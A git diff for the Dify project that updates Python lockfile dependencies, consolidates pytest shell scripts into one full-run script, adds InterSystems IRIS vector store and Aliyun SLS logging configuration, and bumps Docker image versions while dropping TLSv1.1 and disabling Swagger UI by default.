+[[package]]
+name = "intersystems-irispython"
+version = "5.3.0"
+source = { registry = "https://pypi.org/simple" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/5d/56/16d93576b50408d97a5cbbd055d8da024d585e96a360e2adc95b41ae6284/intersystems_irispython-5.3.0-cp38.cp39.cp310.cp311.cp312.cp313-cp38.cp39.cp310.cp311.cp312.cp313-macosx_10_9_universal2.whl", hash = "sha256:59d3176a35867a55b1ab69a6b5c75438b460291bccb254c2d2f4173be08b6e55", size = 6594480, upload-time = "2025-10-09T20:47:27.629Z" },
+    { url = "https://files.pythonhosted.org/packages/99/bc/19e144ee805ea6ee0df6342a711e722c84347c05a75b3bf040c5fbe19982/intersystems_irispython-5.3.0-cp38.cp39.cp310.cp311.cp312.cp313-cp38.cp39.cp310.cp311.cp312.cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:56bccefd1997c25f9f9f6c4086214c18d4fdaac0a93319d4b21dd9a6c59c9e51", size = 14779928, upload-time = "2025-10-09T20:47:30.564Z" },
+    { url = "https://files.pythonhosted.org/packages/e6/fb/59ba563a80b39e9450b4627b5696019aa831dce27dacc3831b8c1e669102/intersystems_irispython-5.3.0-cp38.cp39.cp310.cp311.cp312.cp313-cp38.cp39.cp310.cp311.cp312.cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e160adc0785c55bb64e4264b8e99075691a15b0afa5d8d529f1b4bac7e57b81", size = 14422035, upload-time = "2025-10-09T20:47:32.552Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/68/ade8ad43f0ed1e5fba60e1710fa5ddeb01285f031e465e8c006329072e63/intersystems_irispython-5.3.0-cp38.cp39.cp310.cp311.cp312.cp313-cp38.cp39.cp310.cp311.cp312.cp313-win32.whl", hash = "sha256:820f2c5729119e5173a5bf6d6ac2a41275c4f1ffba6af6c59ea313ecd8f499cc", size = 2824316, upload-time = "2025-10-09T20:47:28.998Z" },
+    { url = "https://files.pythonhosted.org/packages/f4/03/cd45cb94e42c01dc525efebf3c562543a18ee55b67fde4022665ca672351/intersystems_irispython-5.3.0-cp38.cp39.cp310.cp311.cp312.cp313-cp38.cp39.cp310.cp311.cp312.cp313-win_amd64.whl", hash = "sha256:fc07ec24bc50b6f01573221cd7d86f2937549effe31c24af8db118e0131e340c", size = 3463297, upload-time = "2025-10-09T20:47:34.636Z" },
+]
+
 [[package]]
 name = "intervaltree"
 version = "3.1.0"
@@ -6802,11 +6849,11 @@ wheels = [
 
 [[package]]
 name = "urllib3"
-version = "2.5.0"
+version = "2.6.0"
 source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/15/22/9ee70a2574a4f4599c47dd506532914ce044817c7752a79b6a51286319bc/urllib3-2.5.0.tar.gz", hash = "sha256:3fc47733c7e419d4bc3f6b3dc2b4f890bb743906a30d56ba4a5bfa4bbff92760", size = 393185, upload-time = "2025-06-18T14:07:41.644Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/1c/43/554c2569b62f49350597348fc3ac70f786e3c32e7f19d266e19817812dd3/urllib3-2.6.0.tar.gz", hash = "sha256:cb9bcef5a4b345d5da5d145dc3e30834f58e8018828cbc724d30b4cb7d4d49f1", size = 432585, upload-time = "2025-12-05T15:08:47.885Z" }
 wheels = [
-    { url = "https://files.pythonhosted.org/packages/a7/c2/fe1e52489ae3122415c51f387e221dd0773709bad6c6cdaa599e8a2c5185/urllib3-2.5.0-py3-none-any.whl", hash = "sha256:e6b01673c0fa6a13e374b50871808eb3bf7046c4b125b216f6bf1cc604cff0dc", size = 129795, upload-time = "2025-06-18T14:07:40.39Z" },
+    { url = "https://files.pythonhosted.org/packages/56/1a/9ffe814d317c5224166b23e7c47f606d6e473712a2fad0f704ea9b99f246/urllib3-2.6.0-py3-none-any.whl", hash = "sha256:c90f7a39f716c572c4e3e58509581ebd83f9b59cced005b7db7ad2d22b0db99f", size = 131083, upload-time = "2025-12-05T15:08:45.983Z" },
 ]
 
 [[package]]
@@ -6900,7 +6947,7 @@ wheels = [
 
 [[package]]
 name = "wandb"
-version = "0.23.0"
+version = "0.23.1"
 source = { registry = "https://pypi.org/simple" }
 dependencies = [
     { name = "click" },
@@ -6914,17 +6961,17 @@ dependencies = [
     { name = "sentry-sdk" },
     { name = "typing-extensions" },
 ]
-sdist = { url = "https://files.pythonhosted.org/packages/ef/8b/db2d44395c967cd452517311fd6ede5d1e07310769f448358d4874248512/wandb-0.23.0.tar.gz", hash = "sha256:e5f98c61a8acc3ee84583ca78057f64344162ce026b9f71cb06eea44aec27c93", size = 44413921, upload-time = "2025-11-11T21:06:30.737Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/0a/cc/770ae3aa7ae44f6792f7ecb81c14c0e38b672deb35235719bb1006519487/wandb-0.23.1.tar.gz", hash = "sha256:f6fb1e3717949b29675a69359de0eeb01e67d3360d581947d5b3f98c273567d6", size = 44298053, upload-time = "2025-12-03T02:25:10.79Z" }
 wheels = [
-    { url = "https://files.pythonhosted.org/packages/41/61/a3220c7fa4cadfb2b2a5c09e3fa401787326584ade86d7c1f58bf1cd43bd/wandb-0.23.0-py3-none-macosx_12_0_arm64.whl", hash = "sha256:b682ec5e38fc97bd2e868ac7615a0ab4fc6a15220ee1159e87270a5ebb7a816d", size = 18992250, upload-time = "2025-11-11T21:06:03.412Z" },
-    { url = "https://files.pythonhosted.org/packages/90/16/e69333cf3d11e7847f424afc6c8ae325e1f6061b2e5118d7a17f41b6525d/wandb-0.23.0-py3-none-macosx_12_0_x86_64.whl", hash = "sha256:ec094eb71b778e77db8c188da19e52c4f96cb9d5b4421d7dc05028afc66fd7e7", size = 20045616, upload-time = "2025-11-11T21:06:07.109Z" },
-    { url = "https://files.pythonhosted.org/packages/62/79/42dc6c7bb0b425775fe77f1a3f1a22d75d392841a06b43e150a3a7f2553a/wandb-0.23.0-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4e43f1f04b98c34f407dcd2744cec0a590abce39bed14a61358287f817514a7b", size = 18758848, upload-time = "2025-11-11T21:06:09.832Z" },
-    { url = "https://files.pythonhosted.org/packages/b8/94/d6ddb78334996ccfc1179444bfcfc0f37ffd07ee79bb98940466da6f68f8/wandb-0.23.0-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6e5847f98cbb3175caf5291932374410141f5bb3b7c25f9c5e562c1988ce0bf5", size = 20231493, upload-time = "2025-11-11T21:06:12.323Z" },
-    { url = "https://files.pythonhosted.org/packages/52/4d/0ad6df0e750c19dabd24d2cecad0938964f69a072f05fbdab7281bec2b64/wandb-0.23.0-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:6151355fd922539926e870be811474238c9614b96541773b990f1ce53368aef6", size = 18793473, upload-time = "2025-11-11T21:06:14.967Z" },
-    { url = "https://files.pythonhosted.org/packages/f8/da/c2ba49c5573dff93dafc0acce691bb1c3d57361bf834b2f2c58e6193439b/wandb-0.23.0-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:df62e426e448ebc44269140deb7240df474e743b12d4b1f53b753afde4aa06d4", size = 20332882, upload-time = "2025-11-11T21:06:17.865Z" },
-    { url = "https://files.pythonhosted.org/packages/40/65/21bfb10ee5cd93fbcaf794958863c7e05bac4bbeb1cc1b652094aa3743a5/wandb-0.23.0-py3-none-win32.whl", hash = "sha256:6c21d3eadda17aef7df6febdffdddfb0b4835c7754435fc4fe27631724269f5c", size = 19433198, upload-time = "2025-11-11T21:06:21.913Z" },
-    { url = "https://files.pythonhosted.org/packages/f1/33/cbe79e66c171204e32cf940c7fdfb8b5f7d2af7a00f301c632f3a38aa84b/wandb-0.23.0-py3-none-win_amd64.whl", hash = "sha256:b50635fa0e16e528bde25715bf446e9153368428634ca7a5dbd7a22c8ae4e915", size = 19433201, upload-time = "2025-11-11T21:06:24.607Z" },
-    { url = "https://files.pythonhosted.org/packages/1c/a0/5ecfae12d78ea036a746c071e4c13b54b28d641efbba61d2947c73b3e6f9/wandb-0.23.0-py3-none-win_arm64.whl", hash = "sha256:fa0181b02ce4d1993588f4a728d8b73ae487eb3cb341e6ce01c156be7a98ec72", size = 17678649, upload-time = "2025-11-11T21:06:27.289Z" },
+    { url = "https://files.pythonhosted.org/packages/12/0b/c3d7053dfd93fd259a63c7818d9c4ac2ba0642ff8dc8db98662ea0cf9cc0/wandb-0.23.1-py3-none-macosx_12_0_arm64.whl", hash = "sha256:358e15471d19b7d73fc464e37371c19d44d39e433252ac24df107aff993a286b", size = 21527293, upload-time = "2025-12-03T02:24:48.011Z" },
+    { url = "https://files.pythonhosted.org/packages/ee/9f/059420fa0cb6c511dc5c5a50184122b6aca7b178cb2aa210139e354020da/wandb-0.23.1-py3-none-macosx_12_0_x86_64.whl", hash = "sha256:110304407f4b38f163bdd50ed5c5225365e4df3092f13089c30171a75257b575", size = 22745926, upload-time = "2025-12-03T02:24:50.519Z" },
+    { url = "https://files.pythonhosted.org/packages/96/b6/fd465827c14c64d056d30b4c9fcf4dac889a6969dba64489a88fc4ffa333/wandb-0.23.1-py3-none-manylinux_2_28_aarch64.whl", hash = "sha256:6cc984cf85feb2f8ee0451d76bc9fb7f39da94956bb8183e30d26284cf203b65", size = 21212973, upload-time = "2025-12-03T02:24:52.828Z" },
+    { url = "https://files.pythonhosted.org/packages/5c/ee/9a8bb9a39cc1f09c3060456cc79565110226dc4099a719af5c63432da21d/wandb-0.23.1-py3-none-manylinux_2_28_x86_64.whl", hash = "sha256:67431cd3168d79fdb803e503bd669c577872ffd5dadfa86de733b3274b93088e", size = 22887885, upload-time = "2025-12-03T02:24:55.281Z" },
+    { url = "https://files.pythonhosted.org/packages/6d/4d/8d9e75add529142e037b05819cb3ab1005679272950128d69d218b7e5b2e/wandb-0.23.1-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:07be70c0baa97ea25fadc4a9d0097f7371eef6dcacc5ceb525c82491a31e9244", size = 21250967, upload-time = "2025-12-03T02:24:57.603Z" },
+    { url = "https://files.pythonhosted.org/packages/97/72/0b35cddc4e4168f03c759b96d9f671ad18aec8bdfdd84adfea7ecb3f5701/wandb-0.23.1-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:216c95b08e0a2ec6a6008373b056d597573d565e30b43a7a93c35a171485ee26", size = 22988382, upload-time = "2025-12-03T02:25:00.518Z" },
+    { url = "https://files.pythonhosted.org/packages/c0/6d/e78093d49d68afb26f5261a70fc7877c34c114af5c2ee0ab3b1af85f5e76/wandb-0.23.1-py3-none-win32.whl", hash = "sha256:fb5cf0f85692f758a5c36ab65fea96a1284126de64e836610f92ddbb26df5ded", size = 22150756, upload-time = "2025-12-03T02:25:02.734Z" },
+    { url = "https://files.pythonhosted.org/packages/05/27/4f13454b44c9eceaac3d6e4e4efa2230b6712d613ff9bf7df010eef4fd18/wandb-0.23.1-py3-none-win_amd64.whl", hash = "sha256:21c8c56e436eb707b7d54f705652e030d48e5cfcba24cf953823eb652e30e714", size = 22150760, upload-time = "2025-12-03T02:25:05.106Z" },
+    { url = "https://files.pythonhosted.org/packages/30/20/6c091d451e2a07689bfbfaeb7592d488011420e721de170884fedd68c644/wandb-0.23.1-py3-none-win_arm64.whl", hash = "sha256:8aee7f3bb573f2c0acf860f497ca9c684f9b35f2ca51011ba65af3d4592b77c1", size = 20137463, upload-time = "2025-12-03T02:25:08.317Z" },
 ]
 
 [[package]]
diff --git a/dev/pytest/pytest_all_tests.sh b/dev/pytest/pytest_all_tests.sh
deleted file mode 100755
index 9123b2f8ad..0000000000
--- a/dev/pytest/pytest_all_tests.sh
+++ /dev/null
@@ -1,20 +0,0 @@
-#!/bin/bash
-set -x
-
-SCRIPT_DIR="$(dirname "$(realpath "$0")")"
-cd "$SCRIPT_DIR/../.."
-
-# ModelRuntime
-dev/pytest/pytest_model_runtime.sh
-
-# Tools
-dev/pytest/pytest_tools.sh
-
-# Workflow
-dev/pytest/pytest_workflow.sh
-
-# Unit tests
-dev/pytest/pytest_unit_tests.sh
-
-# TestContainers tests
-dev/pytest/pytest_testcontainers.sh
diff --git a/dev/pytest/pytest_artifacts.sh b/dev/pytest/pytest_artifacts.sh
deleted file mode 100755
index 29cacdcc07..0000000000
--- a/dev/pytest/pytest_artifacts.sh
+++ /dev/null
@@ -1,9 +0,0 @@
-#!/bin/bash
-set -x
-
-SCRIPT_DIR="$(dirname "$(realpath "$0")")"
-cd "$SCRIPT_DIR/../.."
-
-PYTEST_TIMEOUT="${PYTEST_TIMEOUT:-120}"
-
-pytest --timeout "${PYTEST_TIMEOUT}" api/tests/artifact_tests/
diff --git a/dev/pytest/pytest_full.sh b/dev/pytest/pytest_full.sh
new file mode 100755
index 0000000000..2989a74ad8
--- /dev/null
+++ b/dev/pytest/pytest_full.sh
@@ -0,0 +1,58 @@
+#!/bin/bash
+set -euo pipefail
+set -ex
+
+SCRIPT_DIR="$(dirname "$(realpath "$0")")"
+cd "$SCRIPT_DIR/../.."
+
+PYTEST_TIMEOUT="${PYTEST_TIMEOUT:-180}"
+
+# Ensure OpenDAL local storage works even if .env isn't loaded
+export STORAGE_TYPE=${STORAGE_TYPE:-opendal}
+export OPENDAL_SCHEME=${OPENDAL_SCHEME:-fs}
+export OPENDAL_FS_ROOT=${OPENDAL_FS_ROOT:-/tmp/dify-storage}
+mkdir -p "${OPENDAL_FS_ROOT}"
+
+# Prepare env files like CI
+cp -n docker/.env.example docker/.env || true
+cp -n docker/middleware.env.example docker/middleware.env || true
+cp -n api/tests/integration_tests/.env.example api/tests/integration_tests/.env || true
+
+# Expose service ports (same as CI) without leaving the repo dirty
+EXPOSE_BACKUPS=()
+for f in docker/docker-compose.yaml docker/tidb/docker-compose.yaml; do
+  if [[ -f "$f" ]]; then
+    cp "$f" "$f.ci.bak"
+    EXPOSE_BACKUPS+=("$f")
+  fi
+done
+if command -v yq >/dev/null 2>&1; then
+  sh .github/workflows/expose_service_ports.sh || true
+else
+  echo "skip expose_service_ports (yq not installed)" >&2
+fi
+
+# Optionally start middleware stack (db, redis, sandbox, ssrf proxy) to mirror CI
+STARTED_MIDDLEWARE=0
+if [[ "${SKIP_MIDDLEWARE:-0}" != "1" ]]; then
+  docker compose -f docker/docker-compose.middleware.yaml --env-file docker/middleware.env up -d db_postgres redis sandbox ssrf_proxy
+  STARTED_MIDDLEWARE=1
+  # Give services a moment to come up
+  sleep 5
+fi
+
+cleanup() {
+  if [[ $STARTED_MIDDLEWARE -eq 1 ]]; then
+    docker compose -f docker/docker-compose.middleware.yaml --env-file docker/middleware.env down
+  fi
+  for f in "${EXPOSE_BACKUPS[@]}"; do
+    mv "$f.ci.bak" "$f"
+  done
+}
+trap cleanup EXIT
+
+pytest --timeout "${PYTEST_TIMEOUT}" \
+  api/tests/integration_tests/workflow \
+  api/tests/integration_tests/tools \
+  api/tests/test_containers_integration_tests \
+  api/tests/unit_tests
diff --git a/dev/pytest/pytest_model_runtime.sh b/dev/pytest/pytest_model_runtime.sh
deleted file mode 100755
index fd68dbe697..0000000000
--- a/dev/pytest/pytest_model_runtime.sh
+++ /dev/null
@@ -1,18 +0,0 @@
-#!/bin/bash
-set -x
-
-SCRIPT_DIR="$(dirname "$(realpath "$0")")"
-cd "$SCRIPT_DIR/../.."
-
-PYTEST_TIMEOUT="${PYTEST_TIMEOUT:-180}"
-
-pytest --timeout "${PYTEST_TIMEOUT}" api/tests/integration_tests/model_runtime/anthropic \
-  api/tests/integration_tests/model_runtime/azure_openai \
-  api/tests/integration_tests/model_runtime/openai api/tests/integration_tests/model_runtime/chatglm \
-  api/tests/integration_tests/model_runtime/google api/tests/integration_tests/model_runtime/xinference \
-  api/tests/integration_tests/model_runtime/huggingface_hub/test_llm.py \
-  api/tests/integration_tests/model_runtime/upstage \
-  api/tests/integration_tests/model_runtime/fireworks \
-  api/tests/integration_tests/model_runtime/nomic \
-  api/tests/integration_tests/model_runtime/mixedbread \
-  api/tests/integration_tests/model_runtime/voyage
diff --git a/dev/pytest/pytest_testcontainers.sh b/dev/pytest/pytest_testcontainers.sh
deleted file mode 100755
index f92f8821bf..0000000000
--- a/dev/pytest/pytest_testcontainers.sh
+++ /dev/null
@@ -1,9 +0,0 @@
-#!/bin/bash
-set -x
-
-SCRIPT_DIR="$(dirname "$(realpath "$0")")"
-cd "$SCRIPT_DIR/../.."
-
-PYTEST_TIMEOUT="${PYTEST_TIMEOUT:-120}"
-
-pytest --timeout "${PYTEST_TIMEOUT}" api/tests/test_containers_integration_tests
diff --git a/dev/pytest/pytest_tools.sh b/dev/pytest/pytest_tools.sh
deleted file mode 100755
index 989784f078..0000000000
--- a/dev/pytest/pytest_tools.sh
+++ /dev/null
@@ -1,9 +0,0 @@
-#!/bin/bash
-set -x
-
-SCRIPT_DIR="$(dirname "$(realpath "$0")")"
-cd "$SCRIPT_DIR/../.."
-
-PYTEST_TIMEOUT="${PYTEST_TIMEOUT:-120}"
-
-pytest --timeout "${PYTEST_TIMEOUT}" api/tests/integration_tests/tools
diff --git a/dev/pytest/pytest_workflow.sh b/dev/pytest/pytest_workflow.sh
deleted file mode 100755
index 941c8d3e7e..0000000000
--- a/dev/pytest/pytest_workflow.sh
+++ /dev/null
@@ -1,9 +0,0 @@
-#!/bin/bash
-set -x
-
-SCRIPT_DIR="$(dirname "$(realpath "$0")")"
-cd "$SCRIPT_DIR/../.."
-
-PYTEST_TIMEOUT="${PYTEST_TIMEOUT:-120}"
-
-pytest --timeout "${PYTEST_TIMEOUT}" api/tests/integration_tests/workflow
diff --git a/dev/start-worker b/dev/start-worker
index a01da11d86..7876620188 100755
--- a/dev/start-worker
+++ b/dev/start-worker
@@ -37,6 +37,7 @@ show_help() {
   echo "  pipeline              - Standard pipeline tasks"
   echo "  triggered_workflow_dispatcher - Trigger dispatcher tasks"
   echo "  trigger_refresh_executor - Trigger refresh tasks"
+  echo "  retention               - Retention tasks"
 }
 
 # Parse command line arguments
@@ -105,10 +106,10 @@ if [[ -z "${QUEUES}" ]]; then
   # Configure queues based on edition
   if [[ "${EDITION}" == "CLOUD" ]]; then
     # Cloud edition: separate queues for dataset and trigger tasks
-    QUEUES="dataset,priority_dataset,priority_pipeline,pipeline,mail,ops_trace,app_deletion,plugin,workflow_storage,conversation,workflow_professional,workflow_team,workflow_sandbox,schedule_poller,schedule_executor,triggered_workflow_dispatcher,trigger_refresh_executor"
+    QUEUES="dataset,priority_dataset,priority_pipeline,pipeline,mail,ops_trace,app_deletion,plugin,workflow_storage,conversation,workflow_professional,workflow_team,workflow_sandbox,schedule_poller,schedule_executor,triggered_workflow_dispatcher,trigger_refresh_executor,retention"
   else
     # Community edition (SELF_HOSTED): dataset and workflow have separate queues
-    QUEUES="dataset,priority_dataset,priority_pipeline,pipeline,mail,ops_trace,app_deletion,plugin,workflow_storage,conversation,workflow,schedule_poller,schedule_executor,triggered_workflow_dispatcher,trigger_refresh_executor"
+    QUEUES="dataset,priority_dataset,priority_pipeline,pipeline,mail,ops_trace,app_deletion,plugin,workflow_storage,conversation,workflow,schedule_poller,schedule_executor,triggered_workflow_dispatcher,trigger_refresh_executor,retention"
   fi
 
   echo "No queues specified, using edition-based defaults: ${QUEUES}"
diff --git a/docker/.env.example b/docker/.env.example
index 04088b72a8..e5cdb64dae 100644
--- a/docker/.env.example
+++ b/docker/.env.example
@@ -518,7 +518,7 @@ SUPABASE_URL=your-server-url
 # ------------------------------
 
 # The type of vector store to use.
-# Supported values are `weaviate`, `oceanbase`, `qdrant`, `milvus`, `myscale`, `relyt`, `pgvector`, `pgvecto-rs`, `chroma`, `opensearch`, `oracle`, `tencent`, `elasticsearch`, `elasticsearch-ja`, `analyticdb`, `couchbase`, `vikingdb`, `opengauss`, `tablestore`,`vastbase`,`tidb`,`tidb_on_qdrant`,`baidu`,`lindorm`,`huawei_cloud`,`upstash`, `matrixone`, `clickzetta`, `alibabacloud_mysql`.
+# Supported values are `weaviate`, `oceanbase`, `qdrant`, `milvus`, `myscale`, `relyt`, `pgvector`, `pgvecto-rs`, `chroma`, `opensearch`, `oracle`, `tencent`, `elasticsearch`, `elasticsearch-ja`, `analyticdb`, `couchbase`, `vikingdb`, `opengauss`, `tablestore`,`vastbase`,`tidb`,`tidb_on_qdrant`,`baidu`,`lindorm`,`huawei_cloud`,`upstash`, `matrixone`, `clickzetta`, `alibabacloud_mysql`, `iris`.
 VECTOR_STORE=weaviate
 # Prefix used to create collection name in vector database
 VECTOR_INDEX_NAME_PREFIX=Vector_index
@@ -792,6 +792,21 @@ CLICKZETTA_ANALYZER_TYPE=chinese
 CLICKZETTA_ANALYZER_MODE=smart
 CLICKZETTA_VECTOR_DISTANCE_FUNCTION=cosine_distance
 
+# InterSystems IRIS configuration, only available when VECTOR_STORE is `iris`
+IRIS_HOST=iris
+IRIS_SUPER_SERVER_PORT=1972
+IRIS_WEB_SERVER_PORT=52773
+IRIS_USER=_SYSTEM
+IRIS_PASSWORD=Dify@1234
+IRIS_DATABASE=USER
+IRIS_SCHEMA=dify
+IRIS_CONNECTION_URL=
+IRIS_MIN_CONNECTION=1
+IRIS_MAX_CONNECTION=3
+IRIS_TEXT_INDEX=true
+IRIS_TEXT_INDEX_LANGUAGE=en
+IRIS_TIMEZONE=UTC
+
 # ------------------------------
 # Knowledge Configuration
 # ------------------------------
@@ -1029,6 +1044,25 @@ WORKFLOW_LOG_RETENTION_DAYS=30
 # Batch size for workflow log cleanup operations (default: 100)
 WORKFLOW_LOG_CLEANUP_BATCH_SIZE=100
 
+# Aliyun SLS Logstore Configuration
+# Aliyun Access Key ID
+ALIYUN_SLS_ACCESS_KEY_ID=
+# Aliyun Access Key Secret
+ALIYUN_SLS_ACCESS_KEY_SECRET=
+# Aliyun SLS Endpoint (e.g., cn-hangzhou.log.aliyuncs.com)
+ALIYUN_SLS_ENDPOINT=
+# Aliyun SLS Region (e.g., cn-hangzhou)
+ALIYUN_SLS_REGION=
+# Aliyun SLS Project Name
+ALIYUN_SLS_PROJECT_NAME=
+# Number of days to retain workflow run logs (default: 365 days， 3650 for permanent storage)
+ALIYUN_SLS_LOGSTORE_TTL=365
+# Enable dual-write to both SLS LogStore and SQL database (default: false)
+LOGSTORE_DUAL_WRITE_ENABLED=false
+# Enable dual-read fallback to SQL database when LogStore returns no results (default: true)
+# Useful for migration scenarios where historical data exists only in SQL database
+LOGSTORE_DUAL_READ_ENABLED=true
+
 # HTTP request node in workflow configuration
 HTTP_REQUEST_NODE_MAX_BINARY_SIZE=10485760
 HTTP_REQUEST_NODE_MAX_TEXT_SIZE=1048576
@@ -1214,7 +1248,7 @@ NGINX_SSL_PORT=443
 # and modify the env vars below accordingly.
 NGINX_SSL_CERT_FILENAME=dify.crt
 NGINX_SSL_CERT_KEY_FILENAME=dify.key
-NGINX_SSL_PROTOCOLS=TLSv1.1 TLSv1.2 TLSv1.3
+NGINX_SSL_PROTOCOLS=TLSv1.2 TLSv1.3
 
 # Nginx performance tuning
 NGINX_WORKER_PROCESSES=auto
@@ -1335,7 +1369,10 @@ PLUGIN_STDIO_BUFFER_SIZE=1024
 PLUGIN_STDIO_MAX_BUFFER_SIZE=5242880
 
 PLUGIN_PYTHON_ENV_INIT_TIMEOUT=120
+# Plugin Daemon side timeout (configure to match the API side below) 
 PLUGIN_MAX_EXECUTION_TIMEOUT=600
+# API side timeout (configure to match the Plugin Daemon side above) 
+PLUGIN_DAEMON_TIMEOUT=600.0
 # PIP_MIRROR_URL=https://pypi.tuna.tsinghua.edu.cn/simple
 PIP_MIRROR_URL=
 
@@ -1406,7 +1443,7 @@ QUEUE_MONITOR_ALERT_EMAILS=
 QUEUE_MONITOR_INTERVAL=30
 
 # Swagger UI configuration
-SWAGGER_UI_ENABLED=true
+SWAGGER_UI_ENABLED=false
 SWAGGER_UI_PATH=/swagger-ui.html
 
 # Whether to encrypt dataset IDs when exporting DSL files (default: true)
@@ -1433,5 +1470,21 @@ WORKFLOW_SCHEDULE_MAX_DISPATCH_PER_TICK=0
 # Tenant isolated task queue configuration
 TENANT_ISOLATED_TASK_CONCURRENCY=1
 
+# Maximum allowed CSV file size for annotation import in megabytes
+ANNOTATION_IMPORT_FILE_SIZE_LIMIT=2
+#Maximum number of annotation records allowed in a single import
+ANNOTATION_IMPORT_MAX_RECORDS=10000
+# Minimum number of annotation records required in a single import
+ANNOTATION_IMPORT_MIN_RECORDS=1
+ANNOTATION_IMPORT_RATE_LIMIT_PER_MINUTE=5
+ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR=20
+# Maximum number of concurrent annotation import tasks per tenant
+ANNOTATION_IMPORT_MAX_CONCURRENT=5
+
 # The API key of amplitude
 AMPLITUDE_API_KEY=
+
+# Sandbox expired records clean configuration
+SANDBOX_EXPIRED_RECORDS_CLEAN_GRACEFUL_PERIOD=21
+SANDBOX_EXPIRED_RECORDS_CLEAN_BATCH_SIZE=1000
+SANDBOX_EXPIRED_RECORDS_RETENTION_DAYS=30
diff --git a/docker/docker-compose-template.yaml b/docker/docker-compose-template.yaml
index c89224fa8a..a07ed9e8ad 100644
--- a/docker/docker-compose-template.yaml
+++ b/docker/docker-compose-template.yaml
@@ -21,7 +21,7 @@ services:
 
   # API service
   api:
-    image: langgenius/dify-api:1.11.0
+    image: langgenius/dify-api:1.11.1
     restart: always
     environment:
       # Use the shared environment variables.
@@ -34,6 +34,7 @@ services:
       PLUGIN_REMOTE_INSTALL_HOST: ${EXPOSE_PLUGIN_DEBUGGING_HOST:-localhost}
       PLUGIN_REMOTE_INSTALL_PORT: ${EXPOSE_PLUGIN_DEBUGGING_PORT:-5003}
       PLUGIN_MAX_PACKAGE_SIZE: ${PLUGIN_MAX_PACKAGE_SIZE:-52428800}
+      PLUGIN_DAEMON_TIMEOUT: ${PLUGIN_DAEMON_TIMEOUT:-600.0}
       INNER_API_KEY_FOR_PLUGIN: ${PLUGIN_DIFY_INNER_API_KEY:-QaHbTe77CtuXmsfyhR7+vRjI/+XbV1AaFy691iy+kGDv2Jvy0/eAh8Y1}
     depends_on:
       init_permissions:
@@ -62,7 +63,7 @@ services:
   # worker service
   # The Celery worker for processing all queues (dataset, workflow, mail, etc.)
   worker:
-    image: langgenius/dify-api:1.11.0
+    image: langgenius/dify-api:1.11.1
     restart: always
     environment:
       # Use the shared environment variables.
@@ -101,7 +102,7 @@ services:
   # worker_beat service
   # Celery beat for scheduling periodic tasks.
   worker_beat:
-    image: langgenius/dify-api:1.11.0
+    image: langgenius/dify-api:1.11.1
     restart: always
     environment:
       # Use the shared environment variables.
@@ -131,7 +132,7 @@ services:
 
   # Frontend web application.
   web:
-    image: langgenius/dify-web:1.11.0
+    image: langgenius/dify-web:1.11.1
     restart: always
     environment:
       CONSOLE_API_URL: ${CONSOLE_API_URL:-}
@@ -414,7 +415,7 @@ services:
       # and modify the env vars below in .env if HTTPS_ENABLED is true.
       NGINX_SSL_CERT_FILENAME: ${NGINX_SSL_CERT_FILENAME:-dify.crt}
       NGINX_SSL_CERT_KEY_FILENAME: ${NGINX_SSL_CERT_KEY_FILENAME:-dify.key}
-      NGINX_SSL_PROTOCOLS: ${NGINX_SSL_PROTOCOLS:-TLSv1.1 TLSv1.2 TLSv1.3}
+      NGINX_SSL_PROTOCOLS: ${NGINX_SSL_PROTOCOLS:-TLSv1.2 TLSv1.3}
       NGINX_WORKER_PROCESSES: ${NGINX_WORKER_PROCESSES:-auto}
       NGINX_CLIENT_MAX_BODY_SIZE: ${NGINX_CLIENT_MAX_BODY_SIZE:-100M}
       NGINX_KEEPALIVE_TIMEOUT: ${NGINX_KEEPALIVE_TIMEOUT:-65}
@@ -648,6 +649,26 @@ services:
       CHROMA_SERVER_AUTHN_PROVIDER: ${CHROMA_SERVER_AUTHN_PROVIDER:-chromadb.auth.token_authn.TokenAuthenticationServerProvider}
       IS_PERSISTENT: ${CHROMA_IS_PERSISTENT:-TRUE}
 
+  # InterSystems IRIS vector database
+  iris:
+    image: containers.intersystems.com/intersystems/iris-community:2025.3
+    profiles:
+      - iris
+    container_name: iris
+    restart: always
+    init: true
+    ports:
+      - "${IRIS_SUPER_SERVER_PORT:-1972}:1972"
+      - "${IRIS_WEB_SERVER_PORT:-52773}:52773"
+    volumes:
+      - ./volumes/iris:/opt/iris
+      - ./iris/iris-init.script:/iris-init.script
+      - ./iris/docker-entrypoint.sh:/custom-entrypoint.sh
+    entrypoint: ["/custom-entrypoint.sh"]
+    tty: true
+    environment:
+      TZ: ${IRIS_TIMEZONE:-UTC}
+
   # Oracle vector database
   oracle:
     image: container-registry.oracle.com/database/free:latest
diff --git a/docker/docker-compose.yaml b/docker/docker-compose.yaml
index 68f5726797..24e1077ebe 100644
--- a/docker/docker-compose.yaml
+++ b/docker/docker-compose.yaml
@@ -361,6 +361,19 @@ x-shared-env: &shared-api-worker-env
   CLICKZETTA_ANALYZER_TYPE: ${CLICKZETTA_ANALYZER_TYPE:-chinese}
   CLICKZETTA_ANALYZER_MODE: ${CLICKZETTA_ANALYZER_MODE:-smart}
   CLICKZETTA_VECTOR_DISTANCE_FUNCTION: ${CLICKZETTA_VECTOR_DISTANCE_FUNCTION:-cosine_distance}
+  IRIS_HOST: ${IRIS_HOST:-iris}
+  IRIS_SUPER_SERVER_PORT: ${IRIS_SUPER_SERVER_PORT:-1972}
+  IRIS_WEB_SERVER_PORT: ${IRIS_WEB_SERVER_PORT:-52773}
+  IRIS_USER: ${IRIS_USER:-_SYSTEM}
+  IRIS_PASSWORD: ${IRIS_PASSWORD:-Dify@1234}
+  IRIS_DATABASE: ${IRIS_DATABASE:-USER}
+  IRIS_SCHEMA: ${IRIS_SCHEMA:-dify}
+  IRIS_CONNECTION_URL: ${IRIS_CONNECTION_URL:-}
